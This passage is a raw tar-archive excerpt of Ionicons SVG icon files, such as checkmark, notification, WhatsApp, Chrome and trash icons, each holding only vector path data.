115.205V192H448V64H320v51.205zM115.205 115.2H192V64H64v128h51.205zM115.2 396.795V320H64v128h128v-51.205z"/></svg>ionicons/svg/md-checkmark-circle-outline.svg000064400000000613151701353760015157 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M170.718 216.482L141.6 245.6l93.6 93.6 208-208-29.118-29.118L235.2 279.918l-64.482-63.436zM422.4 256c0 91.518-74.883 166.4-166.4 166.4S89.6 347.518 89.6 256 164.482 89.6 256 89.6c15.6 0 31.2 2.082 45.764 6.241L334 63.6C310.082 53.2 284.082 48 256 48 141.6 48 48 141.6 48 256s93.6 208 208 208 208-93.6 208-208h-41.6z"/></svg>ionicons/svg/ios-notifications-outline.svg000064400000001721151701353760015034 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M289.7 403c-6.1 0-11.4 4.2-12.7 10.2-1 4.5-2.7 8.2-5 10.9-1.3 1.5-5.1 5.9-16.1 5.9-11 0-14.8-4.5-16.1-5.9-2.3-2.7-4-6.4-5-10.9-1.3-6-6.6-10.2-12.7-10.2-8.4 0-14.5 7.8-12.7 15.9 5 22.3 21 37.1 46.5 37.1s41.5-14.7 46.5-37.1c1.8-8.1-4.4-15.9-12.7-15.9zM412 352.2c-15.4-20.3-45.7-32.2-45.7-123.1 0-93.3-41.2-130.8-79.6-139.8-3.6-.9-6.2-2.1-6.2-5.9v-2.9c0-13.3-10.8-24.6-24-24.6h-.6c-13.2 0-24 11.3-24 24.6v2.9c0 3.7-2.6 5-6.2 5.9-38.5 9.1-79.6 46.5-79.6 139.8 0 90.9-30.3 102.7-45.7 123.1-9.9 13.1-.5 31.8 15.9 31.8h280.1c16.1 0 25.4-18.8 15.6-31.8zm-39 5.8H139.8c-3.8 0-5.8-4.4-3.3-7.3 7-8 14.7-18.5 21-33.4 9.6-22.6 14.3-51.5 14.3-88.2 0-37.3 7-66.5 20.9-86.8 12.4-18.2 27.9-25.1 38.7-27.6 8.4-2 14.4-5.8 18.6-10.5 3.2-3.6 8.7-3.8 11.9-.2 5.1 5.7 12 9.1 18.8 10.7 10.8 2.5 26.3 9.4 38.7 27.6 13.9 20.3 20.9 49.5 20.9 86.8 0 36.7 4.7 65.6 14.3 88.2 6.5 15.2 14.4 25.9 21.5 33.9 2.2 2.7.4 6.8-3.1 6.8z"/></svg>ionicons/svg/ios-rose.svg000064400000001257151701353760011462 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M416 141.1c-18.9 3.9-36.8 8.2-53.7 12.8-40.5 11-75.5 24.9-105.4 38.2-19.3 8.6-26.2 12.4-51.5 25.9C147 248.9 112 289 112 349c0 67.8 55.6 115 144 115s144-51.2 144-119c0-67.7-61-114.7 16-203.9zM135.4 241.8c12.8-10.5 31.2-23.9 56.1-38.4 6.4-3.8 13.3-7.6 20.6-11.4 11.6-6.1 23.5-11.9 35.8-17.4-9.1-10.1-22.1-19.1-36.6-27C162.6 121.1 96 107.4 96 107.4c41.5 43.7 44.6 96.5 39.4 134.4zM352 77.7s-73.8-.9-125.8 55c0 0 27.7 17.3 42.7 32.3 37.2-15.6 82.3-28.6 115.2-36-6.5-21.7-32.1-51.3-32.1-51.3zM239.7 97C210.3 59.5 176 48 176 48c-15.3 20.8-24.3 38-29 51.7 21.1 5.9 36.5 12.3 62.4 24.7 9.5-10.6 18.1-19.1 30.3-27.4z"/></svg>ionicons/svg/md-body.svg000064400000000321151701353760011244 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48c22 0 40 18 40 40s-18 40-40 40-40-18-40-40 18-40 40-40zm192 144.1H320V464h-42.7V320h-42.7v144H192V192.1H64v-42.7h384v42.7z"/></svg>ionicons/svg/logo-whatsapp.svg000064400000002130151701353760012476 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M260.062 32C138.605 32 40.134 129.701 40.134 250.232c0 41.23 11.532 79.79 31.559 112.687L32 480l121.764-38.682c31.508 17.285 67.745 27.146 106.298 27.146C381.535 468.464 480 370.749 480 250.232 480 129.701 381.535 32 260.062 32zm109.362 301.11c-5.174 12.827-28.574 24.533-38.899 25.072-10.314.547-10.608 7.994-66.84-16.434-56.225-24.434-90.052-83.844-92.719-87.67-2.669-3.812-21.78-31.047-20.749-58.455 1.038-27.413 16.047-40.346 21.404-45.725 5.351-5.387 11.486-6.352 15.232-6.413 4.428-.072 7.296-.132 10.573-.011 3.274.124 8.192-.685 12.45 10.639 4.256 11.323 14.443 39.153 15.746 41.989 1.302 2.839 2.108 6.126.102 9.771-2.012 3.653-3.042 5.935-5.961 9.083-2.935 3.148-6.174 7.042-8.792 9.449-2.92 2.665-5.97 5.572-2.9 11.269 3.068 5.693 13.653 24.356 29.779 39.736 20.725 19.771 38.598 26.329 44.098 29.317 5.515 3.004 8.806 2.67 12.226-.929 3.404-3.599 14.639-15.746 18.596-21.169 3.955-5.438 7.661-4.373 12.742-2.329 5.078 2.052 32.157 16.556 37.673 19.551 5.51 2.989 9.193 4.529 10.51 6.9 1.317 2.38.901 13.531-4.271 26.359z"/></svg>ionicons/svg/logo-chrome.svg000064400000002553151701353760012135 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M188.8 255.925c0 36.946 30.243 67.178 67.2 67.178s67.199-30.231 67.199-67.178c0-36.945-30.242-67.179-67.199-67.179s-67.2 30.234-67.2 67.179z"/><path d="M476.752 217.795c-.009.005-.016.038-.024.042-1.701-9.877-4.04-19.838-6.989-28.838h-.107c2.983 9 5.352 19 7.072 29h-.002c-1.719-10-4.088-20-7.07-29h-155.39c19.044 17 31.358 40.175 31.358 67.052 0 16.796-4.484 31.284-12.314 44.724L231.044 478.452s-.009.264-.014.264l-.01.284h.015l-.005-.262c8.203.92 16.531 1.262 24.97 1.262 6.842 0 13.609-.393 20.299-1.002a223.86 223.86 0 0 0 29.777-4.733C405.68 451.525 480 362.404 480 255.941c0-12.999-1.121-25.753-3.248-38.146z"/><path d="M256 345.496c-33.601 0-61.601-17.91-77.285-44.785L76.006 123.047l-.137-.236a223.516 223.516 0 0 0-25.903 45.123C38.407 194.945 32 224.686 32 255.925c0 62.695 25.784 119.36 67.316 160.009 29.342 28.719 66.545 49.433 108.088 58.619l.029-.051 77.683-134.604c-8.959 3.358-19.031 5.598-29.116 5.598z"/><path d="M91.292 104.575l77.35 133.25C176.483 197.513 212.315 166 256 166h205.172c-6.921-15-15.594-30.324-25.779-43.938.039.021.078.053.117.074C445.644 135.712 454.278 151 461.172 166h.172c-6.884-15-15.514-30.38-25.668-43.99-.115-.06-.229-.168-.342-.257C394.475 67.267 329.359 32 256 32c-26.372 0-51.673 4.569-75.172 12.936-34.615 12.327-65.303 32.917-89.687 59.406l.142.243.009-.01z"/></svg>ionicons/svg/ios-add.svg000064400000000512151701353760011233 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M368.5 240H272v-96.5c0-8.8-7.2-16-16-16s-16 7.2-16 16V240h-96.5c-8.8 0-16 7.2-16 16 0 4.4 1.8 8.4 4.7 11.3 2.9 2.9 6.9 4.7 11.3 4.7H240v96.5c0 4.4 1.8 8.4 4.7 11.3 2.9 2.9 6.9 4.7 11.3 4.7 8.8 0 16-7.2 16-16V272h96.5c8.8 0 16-7.2 16-16s-7.2-16-16-16z"/></svg>ionicons/svg/ios-musical-notes.svg000064400000001167151701353760013275 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M406.3 48.2c-4.7.9-202 39.2-206.2 40-4.2.8-8.1 3.6-8.1 8v240.1c0 1.6-.1 7.2-2.4 11.7-3.1 5.9-8.5 10.2-16.1 12.7-3.3 1.1-7.8 2.1-13.1 3.3-24.1 5.4-64.4 14.6-64.4 51.8 0 31.1 22.4 45.1 41.7 47.5 2.1.3 4.5.7 7.1.7 6.7 0 36-3.3 51.2-13.2 11-7.2 24.1-21.4 24.1-47.8V190.5c0-3.8 2.7-7.1 6.4-7.8l152-30.7c5-1 9.6 2.8 9.6 7.8v130.9c0 4.1-.2 8.9-2.5 13.4-3.1 5.9-8.5 10.2-16.2 12.7-3.3 1.1-8.8 2.1-14.1 3.3-24.1 5.4-64.4 14.5-64.4 51.7 0 33.7 25.4 47.2 41.8 48.3 6.5.4 11.2.3 19.4-.9s23.5-5.5 36.5-13c17.9-10.3 27.5-26.8 27.5-48.2V55.9c-.1-4.4-3.8-8.9-9.8-7.7z"/></svg>ionicons/svg/logo-dribbble.svg000064400000001754151701353760012427 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 64C150 64 64 150 64 256c0 106.1 86 192 192 192s192-85.9 192-192c0-106-86-192-192-192zm121.9 88.5c21.6 25.4 35.3 57.6 37.7 92.9-34.6-1.8-76-1.8-109.2 1.3-4.2-10.6-8.5-21-13.2-31 38.3-16.6 67.8-38.4 84.7-63.2zM256 96c38.8 0 74.4 13.8 102.1 36.8-17.4 22-44.7 41.1-78.7 55.6-18.6-34.4-40-64-62.8-87.3 12.7-3.2 25.8-5.1 39.4-5.1zm-72.4 17.5c23.1 23 44.8 52.3 63.8 86.6-36.1 11-77.5 17.3-121.7 17.3-8.4 0-16.6-.3-24.7-.8 11.5-45.1 42-82.5 82.6-103.1zM96.3 248.4c9.1.4 18.3.6 27.6.5 50.4-.6 97.3-8.5 137.6-21.4 3.8 7.9 7.4 16 10.8 24.3-5.5 1.3-10.4 2.7-14.3 4.3-55.1 23.1-98.5 60.4-122 105.5-24.8-28.2-40-65.1-40-105.6 0-2.6.1-5.1.3-7.6zM256 416c-37 0-71-12.6-98.1-33.7 21.3-42.2 59.3-77.1 107.2-98.8 4.5-2.1 10.5-3.8 17.4-5.3 5.7 15.8 10.8 32.2 15.3 49.2 6.9 26.5 11.8 52.7 14.8 78.1C295 412.2 276 416 256 416zm86.5-25.5c-3-25.7-7.9-52.1-14.9-78.9-3.4-13-7.3-25.6-11.5-37.9 31.4-2.6 69-2.2 98.9 0-5.4 49.1-33 91.3-72.5 116.8z"/></svg>ionicons/svg/ios-volume-high.svg000064400000002025151701353760012730 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M215.4 145.5c-2.2-1.1-4.6-1.6-6.9-1.6-3.6 0-7.1 1.2-10 3.5L133.3 200H80.5c-8.8 0-16 7.2-16 16v80c0 8.8 7.2 16 16 16h52.8l65.2 52.5c2.9 2.3 6.5 3.5 10 3.5 2.3 0 4.7-.5 6.9-1.6 5.6-2.7 9.1-8.3 9.1-14.4V160c0-6.2-3.5-11.8-9.1-14.5zM447.5 256c0-59.3-23.2-114.8-65.4-156.5-4.7-4.7-12.3-4.6-17 .1-4.7 4.7-4.6 12.3.1 17 37.6 37.1 58.2 86.6 58.2 139.4 0 52.8-20.7 102.3-58.2 139.4-4.7 4.7-4.8 12.3-.1 17 2.3 2.4 5.4 3.6 8.5 3.6 3 0 6.1-1.2 8.4-3.5 42.3-41.6 65.5-97.2 65.5-156.5z"/><path d="M384.9 256c0-43.5-16.6-84.3-46.8-114.9-4.7-4.7-12.3-4.8-17-.1-4.7 4.7-4.8 12.3-.1 17 25.7 26.1 39.9 60.9 39.9 98.1 0 37.2-14.2 72-39.9 98.1-4.7 4.7-4.6 12.3.1 17 2.3 2.3 5.4 3.5 8.4 3.5 3.1 0 6.2-1.2 8.5-3.6 30.2-30.8 46.9-71.6 46.9-115.1z"/><path d="M287.5 182.5c-4.7-4.7-12.3-4.8-17-.1-4.7 4.7-4.8 12.3-.1 17 14.8 15 23 35.1 23 56.6 0 21.4-8.2 41.5-23 56.6-4.7 4.7-4.6 12.3.1 17 2.3 2.3 5.4 3.5 8.4 3.5 3.1 0 6.2-1.2 8.5-3.6 19.3-19.6 29.9-45.6 29.9-73.4.1-27.9-10.5-54-29.8-73.6z"/></svg>ionicons/svg/ios-at.svg000064400000001311151701353760011105 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M448 234.3c0 74.1-34.7 120.8-89.6 120.8-28.1 0-49.5-15-53.2-37.3h-4c-9.9 23.2-30.3 35.9-57.7 35.9-48.8 0-81.4-39.1-81.4-97.3 0-55.9 32.8-94.8 80.7-94.8 24.6 0 45.5 12.4 54.7 32.7h4v-27.8h39.9v129.3c0 16.1 8.9 25.8 24.9 25.8 27.7 0 45.3-33.6 45.3-85.8 0-83.3-62.4-139-154.6-139-91.2 0-156.2 66.5-156.2 160.6 0 96.2 64.3 157.6 164.4 157.6 19.6 0 39.3-1.7 54.4-4.6 9.8-1.8 18.8 5.6 18.8 15.5 0 7.3-5 13.7-12.1 15.4-18.2 4.3-40.1 6.8-62.7 6.8C141.9 448 64 372.8 64 256.1 64 142.2 143.5 64 259.4 64 370.8 64 448 133.5 448 234.3zm-242.8 23c0 37 17.4 59.4 45.7 59.4 29.8 0 48.6-23 48.6-59.4s-18.8-58.9-48.1-58.9c-29.1 0-46.2 21.8-46.2 58.9z"/></svg>ionicons/svg/ios-eye-off.svg000064400000001727151701353760012046 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M88.3 68.1c-5.6-5.5-14.6-5.5-20.1.1-5.5 5.5-5.5 14.5 0 20l355.5 355.7c3.7 3.7 9 4.9 13.7 3.6 2.4-.6 4.6-1.9 6.4-3.7 5.5-5.5 5.5-14.5 0-20L88.3 68.1zM260.2 345.9c-53 2.4-96.6-41.2-94.1-94.1.6-12.2 3.6-23.8 8.6-34.3L121.3 164c-27.7 21.4-55.4 48.9-85.1 81.3-5.5 6.1-5.6 15.2-.1 21.3C101 338.3 158.2 400 255.8 400c29.7 0 57.1-7.4 82.3-19.2l-43.5-43.5c-10.6 5-22.2 8-34.4 8.6zM475.8 266c5.3-5.8 5.6-14.6.5-20.7C424 181.8 351.5 112 255.8 112c-29.1 0-56 6.6-82 19l43.7 43.7c10.5-5 22.1-8.1 34.3-8.6 53-2.4 96.6 41.2 94.1 94.1-.6 12.2-3.6 23.8-8.6 34.3l53.5 53.5c33-25.3 61.3-55.9 85-82z"/><path d="M192.2 260.9c2.4 31.3 27.6 56.5 58.9 58.9 8.2.6 16.1-.3 23.4-2.6l-79.8-79.8c-2.2 7.4-3.1 15.3-2.5 23.5zM320 256c0-1.3-.1-2.6-.1-3.9-5.6 2.5-11.7 3.9-18.2 3.9-1.1 0-2.1 0-3.1-.1l18.6 18.7c1.8-5.9 2.8-12.2 2.8-18.6zM256 209c0-6 1.1-11.7 3.1-16.9-1 0-2-.1-3.1-.1-6.4 0-12.6 1-18.5 2.8l18.7 18.7c-.1-1.5-.2-3-.2-4.5z"/></svg>ionicons/svg/md-keypad.svg000064400000002111151701353760011563 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 398.5c-22.3 0-40.5 18.3-40.5 40.7 0 22.4 18.2 40.7 40.5 40.7s40.5-18.3 40.5-40.7c0-22.3-18.2-40.7-40.5-40.7zM136.5 32C114.2 32 96 50.3 96 72.7s18.2 40.7 40.5 40.7S177 95.1 177 72.7 158.8 32 136.5 32zm0 122.2c-22.3 0-40.5 18.3-40.5 40.7s18.2 40.7 40.5 40.7 40.5-18.3 40.5-40.7-18.2-40.7-40.5-40.7zm0 122.2c-22.3 0-40.5 18.3-40.5 40.7 0 22.4 18.2 40.7 40.5 40.7s40.5-18.3 40.5-40.7c0-22.4-18.2-40.7-40.5-40.7zm239-162.9c22.3 0 40.5-18.3 40.5-40.7S397.8 32 375.5 32 335 50.3 335 72.7s18.2 40.8 40.5 40.8zM256 276.4c-22.3 0-40.5 18.3-40.5 40.7 0 22.4 18.2 40.7 40.5 40.7s40.5-18.3 40.5-40.7c0-22.4-18.2-40.7-40.5-40.7zm119.5 0c-22.3 0-40.5 18.3-40.5 40.7 0 22.4 18.2 40.7 40.5 40.7s40.5-18.3 40.5-40.7c0-22.4-18.2-40.7-40.5-40.7zm0-122.2c-22.3 0-40.5 18.3-40.5 40.7s18.2 40.7 40.5 40.7 40.5-18.3 40.5-40.7-18.2-40.7-40.5-40.7zm-119.5 0c-22.3 0-40.5 18.3-40.5 40.7s18.2 40.7 40.5 40.7 40.5-18.3 40.5-40.7-18.2-40.7-40.5-40.7zM256 32c-22.3 0-40.5 18.3-40.5 40.7s18.2 40.7 40.5 40.7 40.5-18.3 40.5-40.7S278.3 32 256 32z"/></svg>ionicons/svg/ios-share.svg000064400000000666151701353760011617 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M376 176H269v146.6c0 7-5.4 13-12.4 13.4-7.5.4-13.6-5.6-13.6-13V176H136c-22 0-40 18-40 40v208c0 22 18 40 40 40h240c22 0 40-18 40-40V216c0-22-18-40-40-40zM269 92.1l47.9 47.2c5.1 5 13.3 5 18.4-.1 5-5.1 5-13.3-.1-18.4l-70-69c-2.5-2.4-5.8-3.7-9.1-3.7-1.7 0-3.4.3-5 1-1.5.6-2.9 1.6-4.1 2.7l-70 69c-5.1 5-5.2 13.3-.1 18.4 5 5.1 13.3 5.2 18.4.1L243 92.1V176h26V92.1z"/></svg>ionicons/svg/md-trash.svg000064400000000360151701353760011433 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M128 405.429C128 428.846 147.198 448 170.667 448h170.667C364.802 448 384 428.846 384 405.429V160H128v245.429zM416 96h-80l-26.785-32H202.786L176 96H96v32h320V96z"/></svg>ionicons/svg/md-color-wand.svg000064400000000507151701353760012362 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M200.8 157.2l-36.4 37.4L411.7 448l36.3-37.4zM181 64h37v68h-37zM181 262h37v68h-37zM270 176h69v37h-69zM305.6 115.8l-25.7-26.3-47.1 48.3 25.6 26.2zM168.8 137.8l-47.1-48.3-25.6 26.3 47.1 48.2zM96.1 277.9l25.6 26.2 47.1-48.2-25.6-26.3zM64 176h65v37H64z"/></svg>ionicons/svg/ios-bonfire.svg000064400000002507151701353760012135 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M270.9 350.6c-.7-8.2-7.6-14.6-15.9-14.6-7.6 0-14 5.4-15.6 12.5L223.8 427c-.5 2.3-.8 4.6-.8 7 0 17.7 14.3 30 32 30s32-12.3 32-30c0-2.9-.4-5.7-1.1-8.4l-15-75zM305.9 355zM388.9 386.3c-1.7-1.4-3.3-2.9-5.1-3.9l-59.6-43.5c-5.8-3.8-12-3.7-16.5.9-4.1 4.1-4.7 10.4-1.7 15.4l45 61.8c.9 1.5 2.2 2.8 3.4 4.2 7.8 9.1 25.1 9.6 34.6 0 9.4-9.8 9.3-27.2-.1-34.9zM372.5 335zM435.4 320h-59.5c-3.9 0-7.4 2.2-8.1 6.2-.6 3.6 1.3 7.1 4.7 8.8h.1l57.7 17.8c8.3 1.9 17.7-5.5 17.7-14.8 0-11.8-4.8-18-12.6-18zM139.2 335zM139.2 335c3.3-1.6 5.3-5.2 4.7-8.8-.7-4-3.9-6.2-8.1-6.2H76.3c-7.6 0-12.3 8.3-12.3 17.6s9.1 17.1 17.4 15.2l57.7-17.8h.1zM187.9 338.8l-59.6 43.4c-1.8 1.1-3.6 2.4-5.1 3.9-9.6 9.6-9.6 25.1 0 34.6 9.6 9.6 25.1 9.6 34.6 0 1.3-1.3 2.4-2.7 3.4-4.2l45-61.6c3-5 2.5-11.2-1.7-15.3-4.6-4.5-11.8-4.8-16.6-.8zM358.7 138.7c0-57.6-72.4-90.7-96-90.7 12 80.8-101.7 113-112 181.3-10.3 68.3 48 90.7 48 90.7 16.3-56.6 72.4-75.6 109.7-99.8 40.7-26.4 50.3-51.3 50.3-81.5zM358.7 259.6c5-14.7 1.9-49.3-3-63.4-9 17.5-26.3 32.4-47.2 46-8.6 5.6-20.9 10.8-29.8 15.9-18.7 10.5-34 20.6-46.3 34.4 11.3 16.4 31.3 27.7 46.3 27.7 36-.2 64-13.7 80-60.6z"/><path d="M161.8 171.9c11.7-15.1 24.9-23.8 38.2-36.2 13.4-12.5 22.1-21.2 27.5-31.3-10.7-20.1-30.8-28.1-44.7-26.1 2.3 28.6-30 44-32 64.8-1.3 12.6 5.4 25 11 28.8z"/></svg>ionicons/svg/md-football.svg000064400000001201151701353760012107 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.3 48 48 141.3 48 256s93.3 208 208 208 208-93.3 208-208S370.7 48 256 48zM127 238.2l39.2 17.9 17.1 66.9-15.6 29.3-57.2-.7C95.6 329 86.2 303.1 83 276.3l44-38.1zm217.3 114.1L328.7 323l17.1-67 39.1-17.8 44 38.1c-3.1 26.8-12.6 52.7-27.5 75.3l-57.1.7zm32.4-146.2l-43.6 19.6-61.1-51.6v-47.2l47.9-32.6c29.8 11.9 56.4 32.3 75.6 57.8l-18.8 54zM191.3 94.4l47.7 32.5v47.2l-61 51.5-43-19.6-18.7-53.6c19.3-26.1 45.1-46 75-58zM218.4 426c-.7-.2-1.3-.3-2-.5l-20.5-55.1 14.7-29.4h90.8l15 30.3-19.8 53.9c-1 .2-2 .5-3 .7-11.5 2.3-27 3.8-40.4 4.1-11.7-.1-23.4-1.5-34.8-4z"/></svg>ionicons/svg/ios-male.svg000064400000001517151701353760011427 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M450.4 48H341.5c-7.5 0-13.6 6.1-13.6 13.6s6.1 13.6 13.6 13.6h75.4L326.7 166c-30.6-26-69.3-40.3-109.6-40.3-22.8 0-45 4.5-65.8 13.3-20.1 8.5-38.2 20.7-53.8 36.2C82 190.8 69.8 208.9 61.3 229 52.5 249.9 48 272 48 294.9s4.5 45 13.3 65.8c8.5 20.1 20.7 38.2 36.2 53.8 15.5 15.5 33.6 27.7 53.8 36.2 20.9 8.8 43 13.3 65.8 13.3 22.8 0 45-4.5 65.8-13.3 20.1-8.5 38.2-20.7 53.8-36.2 15.5-15.5 27.7-33.6 36.2-53.8 8.8-20.9 13.3-43 13.3-65.8 0-40.3-14.3-79-40.3-109.6L436.7 95v75.4c0 7.5 6.1 13.6 13.6 13.6s13.6-6.1 13.6-13.6V61.6c.1-7.5-6-13.6-13.5-13.6zM359 294.9c0 37.9-14.8 73.5-41.6 100.3-26.8 26.8-62.4 41.6-100.3 41.6s-73.5-14.8-100.3-41.6C90 368.4 75.2 332.8 75.2 294.9s14.8-73.5 41.6-100.3c26.8-26.8 62.4-41.6 100.3-41.6s73.5 14.8 100.3 41.6C344.3 221.3 359 257 359 294.9z"/></svg>ionicons/svg/ios-star-outline.svg000064400000001510151701353760013130 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M463 192H315.9L271.2 58.6C269 52.1 262.9 48 256 48s-13 4.1-15.2 10.6L196.1 192H48c-8.8 0-16 7.2-16 16 0 .9.1 1.9.3 2.7.2 3.5 1.8 7.4 6.7 11.3l120.9 85.2-46.4 134.9c-2.3 6.5 0 13.8 5.5 18 2.9 2.1 5.6 3.9 9 3.9 3.3 0 7.2-1.7 10-3.6l118-84.1 118 84.1c2.8 2 6.7 3.6 10 3.6 3.4 0 6.1-1.7 8.9-3.9 5.6-4.2 7.8-11.4 5.5-18L352 307.2l119.9-86 2.9-2.5c2.6-2.8 5.2-6.6 5.2-10.7 0-8.8-8.2-16-17-16zm-127.2 92.5c-10 7.2-14.2 20.2-10.2 31.8l30.1 87.7c1.3 3.7-2.9 6.8-6.1 4.6l-77.4-55.2c-4.9-3.5-10.6-5.2-16.3-5.2-5.7 0-11.4 1.7-16.2 5.2l-77.4 55.1c-3.2 2.3-7.4-.9-6.1-4.6l30.1-87.7c4-11.8-.2-24.8-10.3-32l-81-57.1c-3.2-2.2-1.6-7.3 2.3-7.3H196c12 0 22.7-7.7 26.5-19.1l29.6-88.2c1.2-3.6 6.4-3.6 7.6 0l29.6 88.2c3.8 11.4 14.5 19.1 26.5 19.1h97.3c3.9 0 5.5 5 2.3 7.2l-79.6 57.5z"/></svg>ionicons/svg/md-briefcase.svg000064400000000365151701353760012242 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M352 144v-39.6C352 82 334 64 311.6 64H200.4C178 64 160 82 160 104.4V144H48v263.6C48 430 66 448 88.4 448h335.2c22.4 0 40.4-18 40.4-40.4V144H352zm-40 0H200v-40h112v40z"/></svg>ionicons/svg/ios-cash.svg000064400000001463151701353760011427 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M466 355.9H46c-7.7 0-14 6.3-14 14s6.3 14 14 14h420c7.7 0 14-6.3 14-14s-6.3-14-14-14zM466 403.9H46c-7.7 0-14 6.3-14 14s6.3 14 14 14h420c7.7 0 14-6.3 14-14s-6.3-14-14-14zM444.9 80.1H67.1C47.8 80.1 32 95.9 32 115.2V293c0 19.3 15.8 35.1 35.1 35.1h377.8c19.3 0 35.1-15.8 35.1-35.1V115.2c0-19.3-15.8-35.1-35.1-35.1zM114 296.1H78c-7.7 0-14-6.3-14-14s6.3-14 14-14h36c7.7 0 14 6.3 14 14s-6.3 14-14 14zm0-156H78c-7.7 0-14-6.3-14-14s6.3-14 14-14h36c7.7 0 14 6.3 14 14s-6.3 14-14 14zm142 144c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80zm178 12h-36c-7.7 0-14-6.3-14-14s6.3-14 14-14h36c7.7 0 14 6.3 14 14s-6.3 14-14 14zm0-156h-36c-7.7 0-14-6.3-14-14s6.3-14 14-14h36c7.7 0 14 6.3 14 14s-6.3 14-14 14z"/><circle cx="256" cy="206" r="53"/></svg>ionicons/svg/ios-checkmark-circle-outline.svg000064400000001127151701353760015352 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M362.6 192.9L345 174.8c-.7-.8-1.8-1.2-2.8-1.2-1.1 0-2.1.4-2.8 1.2l-122 122.9-44.4-44.4c-.8-.8-1.8-1.2-2.8-1.2-1 0-2 .4-2.8 1.2l-17.8 17.8c-1.6 1.6-1.6 4.1 0 5.7l56 56c3.6 3.6 8 5.7 11.7 5.7 5.3 0 9.9-3.9 11.6-5.5h.1l133.7-134.4c1.4-1.7 1.4-4.2-.1-5.7z"/><path d="M256 76c48.1 0 93.3 18.7 127.3 52.7S436 207.9 436 256s-18.7 93.3-52.7 127.3S304.1 436 256 436c-48.1 0-93.3-18.7-127.3-52.7S76 304.1 76 256s18.7-93.3 52.7-127.3S207.9 76 256 76m0-28C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48z"/></svg>ionicons/svg/md-disc.svg000064400000000541151701353760011235 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.2 48 48 141.2 48 256s93.2 208 208 208 208-93.2 208-208S370.8 48 256 48zm0 301.6c-51.8 0-93.6-41.8-93.6-93.6s41.8-93.6 93.6-93.6 93.6 41.8 93.6 93.6-41.8 93.6-93.6 93.6zm0-114.4c-11.4 0-20.8 9.4-20.8 20.8s9.4 20.8 20.8 20.8 20.8-9.4 20.8-20.8-9.4-20.8-20.8-20.8z"/></svg>ionicons/svg/ios-log-out.svg000064400000001211151701353760012066 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M312 372c-7.7 0-14 6.3-14 14 0 9.9-8.1 18-18 18H94c-9.9 0-18-8.1-18-18V126c0-9.9 8.1-18 18-18h186c9.9 0 18 8.1 18 18 0 7.7 6.3 14 14 14s14-6.3 14-14c0-25.4-20.6-46-46-46H94c-25.4 0-46 20.6-46 46v260c0 25.4 20.6 46 46 46h186c25.4 0 46-20.6 46-46 0-7.7-6.3-14-14-14z"/><path d="M372.9 158.1c-2.6-2.6-6.1-4.1-9.9-4.1-3.7 0-7.3 1.4-9.9 4.1-5.5 5.5-5.5 14.3 0 19.8l65.2 64.2H162c-7.7 0-14 6.3-14 14s6.3 14 14 14h256.6L355 334.2c-5.4 5.4-5.4 14.3 0 19.8l.1.1c2.7 2.5 6.2 3.9 9.8 3.9 3.8 0 7.3-1.4 9.9-4.1l82.6-82.4c4.3-4.3 6.5-9.3 6.5-14.7 0-5.3-2.3-10.3-6.5-14.5l-84.5-84.2z"/></svg>ionicons/svg/ios-clipboard.svg000064400000001757151701353760012456 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M140.5 160v240c0 8.8 7.2 16 16 16h200c8.8 0 16-7.2 16-16V160c0-8.8-7.2-16-16-16h-200c-8.8 0-16 7.2-16 16zM321.5 81h-17c0-5.6-1-11-2.7-16-2.1-6-5.3-11.4-9.4-16-8.8-9.9-21.6-17-35.9-17s-27.1 7.1-35.9 17c-4.1 4.6-7.3 10-9.4 16-1.7 5-2.7 10.4-2.7 16H194c-9.6 0-17.5 7.9-17.5 17.5V114c0 1.1.9 2 2 2h156c1.1 0 2-.9 2-2V96c0-8.3-6.7-15-15-15zm-62.9 15.5c-10.5 1.3-19.3-7.5-17.9-17.9.9-7.1 6.7-12.9 13.8-13.8 10.5-1.3 19.3 7.5 17.9 17.9-.9 7.2-6.7 12.9-13.8 13.8z"/><path d="M400 48h-75.2c-1.7 0-2.6 1.9-1.6 3.2 2.9 3.9 5.3 8.1 7 12.8.3.8 1 1.3 1.9 1.3h.5c18.7 0 26.9 14.9 27.5 33.5V114c0 1.1.9 2 2 2h20.3c8.8 0 16 7.2 16 16v297.4c0 8.8-7.2 16-16 